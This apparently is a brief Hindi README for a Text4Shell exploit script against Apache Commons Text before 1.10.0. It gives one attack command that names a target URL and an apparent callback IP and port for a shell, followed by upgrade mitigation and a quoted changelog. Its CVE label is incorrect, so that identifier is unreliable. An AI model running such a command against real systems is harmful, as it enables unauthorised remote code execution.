riskootext4shell

text coomons के लिए text4shell स्क्रिप्ट < =1.10 CVE-2022-33980

• Apache Commons Text लाइब्रेरी Java JDK की मूल कार्यक्षमताओं का एक वैकल्पिक पुस्तकालय है।
• apache commons के संस्करण 1.10.0 से पहले के संस्करण
• CVE-2022-33980 के समान

python3 text4shell.py -u http://192.168.245.111:8080/search?query= -i 192.168.111.186 -p 22

शमन

मुख्य समाधान Apache Commons Text घटक को तत्काल उपलब्ध संस्करणों में अपडेट करना है जो इस कमजोरी को ठीक करते हैं। विशेष रूप से, Apache Commons Text के संस्करण 1.10.0 या उसके बाद के संस्करण में अपडेट करना चाहिए।

इस अपडेट में, उन समस्याग्रस्त प्रतिस्थापनों को डिफ़ॉल्ट रूप से अक्षम करने का विकल्प चुना गया है। लाइब्रेरी के चेंजलॉग फ़ाइल में निम्नलिखित परिवर्तन शामिल है:

Make default string lookups configurable vía system property. Remove dns, url, and script lookups from defaults. If these lookups are required for use in StringSubstitutor.createInterpolator(), they must be enabled vía system property. See StringLookupFactory for details.

Apache ने आधिकारिक जानकारी और समस्या को ठीक करने वाले अपडेट के संदर्भ के साथ एक बयान जारी किया है।